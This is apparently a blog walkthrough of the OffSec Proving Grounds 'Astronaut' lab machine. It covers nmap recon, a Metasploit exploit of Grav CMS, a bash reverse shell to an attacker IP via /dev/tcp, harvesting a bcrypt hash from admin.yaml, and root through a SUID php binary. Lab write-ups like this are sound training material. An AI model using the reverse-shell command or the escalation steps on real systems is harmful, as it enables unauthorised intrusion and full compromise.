> For the complete documentation index, see [llms.txt](https://strik3r.gitbook.io/strik3r-blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://strik3r.gitbook.io/strik3r-blog/ctfs-boxs-challenges/astronaut.md).

# Astronaut

Astronaut challenge from Offsec Proving Grounds walkthrough

<figure><img src="https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2F40ZaRDomNbAtf1C2wR3Z%2F20671371.jpg?alt=media&amp;token=05a8d59e-0023-4917-aa8b-2befde4e4745" alt="" width="563"><figcaption></figcaption></figure>

### TL;DR

I popped open the **Astronaut** box on OffSec Proving Grounds.\
Flow: `nmap` → find HTTP → identify CMS → `searchsploit` → Metasploit exploit → get a session → upgrade to a reverse shell → local enumeration → run `linpeas` → find SUID `php7.4` → use GTFOBins technique → root.

***

## Enumeration

Start with the default reconnaissance:

```bash
nmap -sC -sV -Pn 192.168.122.12 -o nmap.txt
```

<figure><img src="https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2FznN4JBhzVIcDRRoSaVlU%2Fimage.png?alt=media&amp;token=51d4f9f7-f05b-4073-86c1-bec4fe4b68d0" alt=""><figcaption></figcaption></figure>

Nmap told us: port **80** open. The webroot had only a single directory (looks like a CMS). No obvious version badge.

<figure><img src="https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2FKwxWN7V9t0c4D2ZvuaEK%2Fimage.png?alt=media&amp;token=997740b8-0171-4611-af3c-f91fc685b5ca" alt=""><figcaption></figcaption></figure>

So, we go hunting for known exploits:

```bash
searchsploit grav
```

Searchsploit returned a promising Grav CMS exploit

<figure><img src="https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2FyEY1lXRuE2yAwjRYLwHU%2Fimage.png?alt=media&amp;token=2ee3bba1-8cd2-49d2-8f4c-f9df1c0d06ea" alt=""><figcaption></figcaption></figure>

> Pro tip: When a CMS shows up but no version is obvious, search for common CMS names + “exploit” or use fingerprinting plugins — sometimes the theme or endpoints leak the version.

***

## Get the Foothold

Now, let's try the Metasploit module to exploit this CMS

<figure><img src="https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2FAi6SAXM7eWwRAAovm1Fs%2Fimage.png?alt=media&amp;token=f48dd27e-e73e-4da8-afdc-24572ecaa4ae" alt=""><figcaption></figcaption></figure>

and we got our session

<figure><img src="https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2F313c1p6Wcf9lSr4Sp9TH%2Fimage.png?alt=media&amp;token=0ca5d5db-7a08-4fb2-8a42-ae8a3e21e746" alt=""><figcaption></figcaption></figure>

From the initial session, I wanted a stable reverse shell back to my Kali box.

On Kali, spin up a listener:

```bash
nc -nlvp 9999
```

From the compromised host (via the Metasploit session), drop a reverse bash shell:

```bash
bash -c 'exec bash -i &>/dev/tcp/192.168.45.164/9999 <&1'
```

<figure><img src="https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2FT12ZU0kvZCsKIXiRcoch%2Fimage.png?alt=media&amp;token=c11d98ad-22ae-431e-b6da-3884027fdbe9" alt=""><figcaption></figcaption></figure>

Now we have an interactive shell. Time to LPE.

***

## Local Privilege Escalation (LPE)

#### Manual enumeration

Looking for current application dir

<figure><img src="https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2F1qCFOY74jx2X1Ko3m4Gr%2Fimage.png?alt=media&amp;token=8660b5f4-3432-435d-83a2-79ece7cf227f" alt=""><figcaption></figcaption></figure>

I checked obvious places for creds and config leaks (e.g., `web.config`, site-specific YAML):

<figure><img src="https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2FtovOMUMMvPPaCNI9ItXt%2Fimage.png?alt=media&amp;token=0ea341c4-53b0-4276-af4b-b370969dca33" alt=""><figcaption></figcaption></figure>

Nothing juicy in the `web.config`, but we found `admin.yaml` in the web directory.

<figure><img src="https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2F3ixUx8C6C34DDnhVnn0a%2Fimage.png?alt=media&amp;token=c0005b61-0fb9-4e6c-a43d-aa75dbf629a4" alt=""><figcaption></figcaption></figure>

Inside was a bcrypt hash **`$2y$10$dlTNg17RfN4pkRctRm1m2u8cfTHHz7Im.m61AYB9UtLGL2PhlJwe.`**

Nice — hashed credential — but not directly usable for `root`.

***

## Automated enumeration — linpeas to the rescue

I uploaded and ran `linpeas` to speed up LPE discovery

<figure><img src="https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2F74xmOieSvxy0lWjIel5n%2Fimage.png?alt=media&amp;token=c40e7176-0e0f-426d-af78-e6c6abca8510" alt=""><figcaption></figcaption></figure>

`linpeas` flagged multiple interesting items:

* Potential kernel CVEs (worth investigating for risky boxes)
* Several SUID binaries — very interesting

***

## Quick refresher: what is a SUID binary and why it matters?

When you see something like:

```
-rwsr-xr-x 1 root root 12345 Jan 1 12:00 /usr/bin/passwd
```

That `s` indicates the **SUID** bit. Executed by ordinary users, that binary runs **with the file owner's privileges** (often root). This makes SUID binaries valuable for privilege escalation — *if* they are misconfigured or exploitable.

**How to find SUID files:**

```bash
find / -perm -4000 2>/dev/null
```

**Common SUID escalation techniques:**

* PATH hijacking (binary calls other programs without full paths)
* LD\_PRELOAD abuse (if environment isn't sanitized)
* Leveraging legitimate utilities (e.g., `find`, `vim`, `nmap`) that support shell escapes

***

## PHP 7.4 binary with SUID

`linpeas` showed a suspicious `php7.4` binary with the SUID bit. That’s a red flag.

<figure><img src="https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2FSnAjUKOKBnSXiwztcln2%2Fimage.png?alt=media&amp;token=a514e272-30b4-4eba-937a-4c582f786154" alt=""><figcaption></figcaption></figure>

I checked [GTFOBins ](https://gtfobins.github.io/gtfobins/php/#suid)(the canonical source of abuse patterns for common binaries) and found an entry for `php` under SUID usage.

<figure><img src="https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2FHEFjZ0P4UB0lvqABE00O%2Fimage.png?alt=media&amp;token=72c88afe-7af8-4cf9-94b9-2b529acdf6ce" alt=""><figcaption></figcaption></figure>

let’s try it on our box

<figure><img src="https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2F3WzoaDpSVFDumDz2gYIV%2Fimage.png?alt=media&amp;token=c06c330b-a893-4a2e-a64b-c387d85a39df" alt=""><figcaption></figcaption></figure>

And just like that — root. 🎯

> Hope you enjoyed it 😊
